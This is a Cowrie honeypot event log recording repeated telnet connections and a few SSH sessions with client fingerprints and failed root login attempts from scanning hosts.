{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36454,"dst_ip":"10.17.0.5","dst_port":23,"session":"35065e4c1aed","protocol":"telnet","message":"New connection: 152.42.224.71:36454 (10.17.0.5:23) [session: 35065e4c1aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:15.931301Z"}
{"eventid":"cowrie.session.closed","duration":105.8248610496521,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:18.261251Z","src_ip":"152.42.224.71","session":"1c5acf8c0fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39674,"dst_ip":"10.17.0.5","dst_port":23,"session":"b055dd2ae9b5","protocol":"telnet","message":"New connection: 152.42.224.71:39674 (10.17.0.5:23) [session: b055dd2ae9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:21.601789Z"}
{"eventid":"cowrie.session.closed","duration":103.41424560546875,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:24.719138Z","src_ip":"152.42.224.71","session":"b6ca927a28f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40194,"dst_ip":"10.17.0.5","dst_port":23,"session":"757afb259539","protocol":"telnet","message":"New connection: 152.42.224.71:40194 (10.17.0.5:23) [session: 757afb259539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:26.849534Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"4109755855c1","protocol":"telnet","message":"New connection: 152.42.224.71:46156 (10.17.0.5:23) [session: 4109755855c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:36.956989Z"}
{"eventid":"cowrie.session.closed","duration":52.0801796913147,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:41.143452Z","src_ip":"152.42.224.71","session":"929e3b9a0e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.788443088531494,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:41.843202Z","src_ip":"152.42.224.71","session":"bd6fcfa41216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46168,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3b6e13105df","protocol":"telnet","message":"New connection: 152.42.224.71:46168 (10.17.0.5:23) [session: e3b6e13105df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:44.966461Z"}
{"eventid":"cowrie.session.closed","duration":120.00225710868835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:45.829598Z","src_ip":"152.42.224.71","session":"56d2faf98b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.84585404396057,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:47.051540Z","src_ip":"152.42.224.71","session":"aab97f6ddbb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47454,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de7b55f9ffa","protocol":"telnet","message":"New connection: 152.42.224.71:47454 (10.17.0.5:23) [session: 4de7b55f9ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:54.179224Z"}
{"eventid":"cowrie.session.closed","duration":47.07374358177185,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:01.758322Z","src_ip":"152.42.224.71","session":"0fe7ffb9e982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41462,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f1cfd8d560","protocol":"telnet","message":"New connection: 152.42.224.71:41462 (10.17.0.5:23) [session: 86f1cfd8d560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:06.246598Z"}
{"eventid":"cowrie.session.closed","duration":100.72844457626343,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:06.471976Z","src_ip":"152.42.224.71","session":"905f1ebd1538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41476,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a61356d4ed","protocol":"telnet","message":"New connection: 152.42.224.71:41476 (10.17.0.5:23) [session: 82a61356d4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:06.613114Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41490,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c566d3786e7","protocol":"telnet","message":"New connection: 152.42.224.71:41490 (10.17.0.5:23) [session: 4c566d3786e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:07.374247Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1331ebe85d7","protocol":"telnet","message":"New connection: 152.42.224.71:41504 (10.17.0.5:23) [session: c1331ebe85d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:08.392583Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41516,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74fb68dbb68","protocol":"telnet","message":"New connection: 152.42.224.71:41516 (10.17.0.5:23) [session: c74fb68dbb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:09.915301Z"}
{"eventid":"cowrie.session.closed","duration":43.97983694076538,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:10.829252Z","src_ip":"152.42.224.71","session":"757afb259539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8555815d335","protocol":"telnet","message":"New connection: 152.42.224.71:41520 (10.17.0.5:23) [session: c8555815d335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:10.952393Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30d7c37c71a","protocol":"telnet","message":"New connection: 152.42.224.71:41534 (10.17.0.5:23) [session: d30d7c37c71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:14.906990Z"}
{"eventid":"cowrie.session.closed","duration":59.64258027076721,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:15.573756Z","src_ip":"152.42.224.71","session":"35065e4c1aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34786248207092,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:17.304656Z","src_ip":"152.42.224.71","session":"4109755855c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49826,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2fbabeec66","protocol":"ssh","message":"New connection: 77.94.47.83:49826 (159.203.135.109:22) [session: 9d2fbabeec66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:17.640547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:17.649009Z","src_ip":"77.94.47.83","session":"9d2fbabeec66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:17.774057Z","src_ip":"77.94.47.83","session":"9d2fbabeec66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhvfutljy","message":"login attempt [root/fhvfutljy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:18.153551Z","src_ip":"77.94.47.83","session":"9d2fbabeec66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:19.282280Z","src_ip":"77.94.47.83","session":"9d2fbabeec66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56152,"dst_ip":"10.17.0.5","dst_port":23,"session":"e338c3dde41b","protocol":"telnet","message":"New connection: 152.42.224.71:56152 (10.17.0.5:23) [session: e338c3dde41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:29.036303Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dae5429555b","protocol":"telnet","message":"New connection: 152.42.224.71:56138 (10.17.0.5:23) [session: 2dae5429555b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:29.431331Z"}
{"eventid":"cowrie.session.closed","duration":40.52526664733887,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:34.704416Z","src_ip":"152.42.224.71","session":"4de7b55f9ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.55009698867798,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:37.516445Z","src_ip":"152.42.224.71","session":"e3b6e13105df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13940191268921,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:41.513449Z","src_ip":"152.42.224.71","session":"4c566d3786e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41732,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4b0faa054fc","protocol":"telnet","message":"New connection: 152.42.224.71:41732 (10.17.0.5:23) [session: f4b0faa054fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:42.618666Z"}
{"eventid":"cowrie.session.closed","duration":37.32635307312012,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:43.572823Z","src_ip":"152.42.224.71","session":"86f1cfd8d560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4446e047f95","protocol":"telnet","message":"New connection: 152.42.224.71:41736 (10.17.0.5:23) [session: f4446e047f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:44.677498Z"}
{"eventid":"cowrie.session.closed","duration":39.39151906967163,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:46.004498Z","src_ip":"152.42.224.71","session":"82a61356d4ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.431556224822998,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:50.467725Z","src_ip":"152.42.224.71","session":"e338c3dde41b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.953941822052,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:54.860794Z","src_ip":"152.42.224.71","session":"d30d7c37c71a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43622,"dst_ip":"10.17.0.5","dst_port":23,"session":"9066912281d5","protocol":"telnet","message":"New connection: 152.42.224.71:43622 (10.17.0.5:23) [session: 9066912281d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:55.929471Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"29087abbac35","protocol":"telnet","message":"New connection: 152.42.224.71:47702 (10.17.0.5:23) [session: 29087abbac35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:56.160886Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":59696,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d75b97fb10","protocol":"ssh","message":"New connection: 119.96.193.72:59696 (10.17.0.5:22) [session: 42d75b97fb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:58.993325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:58.998041Z","src_ip":"119.96.193.72","session":"42d75b97fb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:49:59.260117Z","src_ip":"119.96.193.72","session":"42d75b97fb10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw23edc!@#$","message":"login attempt [root/1qazxsw23edc!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:00.337378Z","src_ip":"119.96.193.72","session":"42d75b97fb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:01.605494Z","src_ip":"119.96.193.72","session":"42d75b97fb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.065515756607056,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:02.684043Z","src_ip":"152.42.224.71","session":"f4b0faa054fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47704,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b6a0bb7c6d","protocol":"telnet","message":"New connection: 152.42.224.71:47704 (10.17.0.5:23) [session: 11b6a0bb7c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:04.726060Z"}
{"eventid":"cowrie.session.closed","duration":59.07708978652954,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:07.469551Z","src_ip":"152.42.224.71","session":"c1331ebe85d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55710,"dst_ip":"10.17.0.5","dst_port":23,"session":"f478362561ab","protocol":"telnet","message":"New connection: 152.42.224.71:55710 (10.17.0.5:23) [session: f478362561ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:12.133995Z"}
{"eventid":"cowrie.session.closed","duration":120.01039600372314,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:21.612074Z","src_ip":"152.42.224.71","session":"b055dd2ae9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3851e6f8b54","protocol":"telnet","message":"New connection: 152.42.224.71:46750 (10.17.0.5:23) [session: d3851e6f8b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:21.887740Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46766,"dst_ip":"10.17.0.5","dst_port":23,"session":"1717d1b1fba0","protocol":"telnet","message":"New connection: 152.42.224.71:46766 (10.17.0.5:23) [session: 1717d1b1fba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:22.285613Z"}
{"eventid":"cowrie.session.closed","duration":53.55485272407532,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:22.986058Z","src_ip":"152.42.224.71","session":"2dae5429555b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":36154,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf2faa23329","protocol":"ssh","message":"New connection: 103.75.183.219:36154 (159.203.135.109:22) [session: edf2faa23329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:24.129174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:24.134054Z","src_ip":"103.75.183.219","session":"edf2faa23329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:24.383983Z","src_ip":"103.75.183.219","session":"edf2faa23329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345d","message":"login attempt [root/12345d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:25.132307Z","src_ip":"103.75.183.219","session":"edf2faa23329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:26.384368Z","src_ip":"103.75.183.219","session":"edf2faa23329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45602,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba2c130c2ae","protocol":"telnet","message":"New connection: 152.42.224.71:45602 (10.17.0.5:23) [session: 2ba2c130c2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:29.401192Z"}
{"eventid":"cowrie.session.closed","duration":47.56231117248535,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:32.239687Z","src_ip":"152.42.224.71","session":"f4446e047f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.596540212631226,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:37.525915Z","src_ip":"152.42.224.71","session":"9066912281d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.71277356147766,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:46.873534Z","src_ip":"152.42.224.71","session":"29087abbac35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35228,"dst_ip":"10.17.0.5","dst_port":23,"session":"97cad856ceb7","protocol":"telnet","message":"New connection: 152.42.224.71:35228 (10.17.0.5:23) [session: 97cad856ceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:48.311402Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35236,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fde4c2e6a25","protocol":"telnet","message":"New connection: 152.42.224.71:35236 (10.17.0.5:23) [session: 1fde4c2e6a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:50:52.114184Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38964,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca07e2db7ca","protocol":"telnet","message":"New connection: 152.42.224.71:38964 (10.17.0.5:23) [session: fca07e2db7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:00.079922Z"}
{"eventid":"cowrie.session.closed","duration":38.98678183555603,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:00.874384Z","src_ip":"152.42.224.71","session":"d3851e6f8b54","protocol":"telnet"}
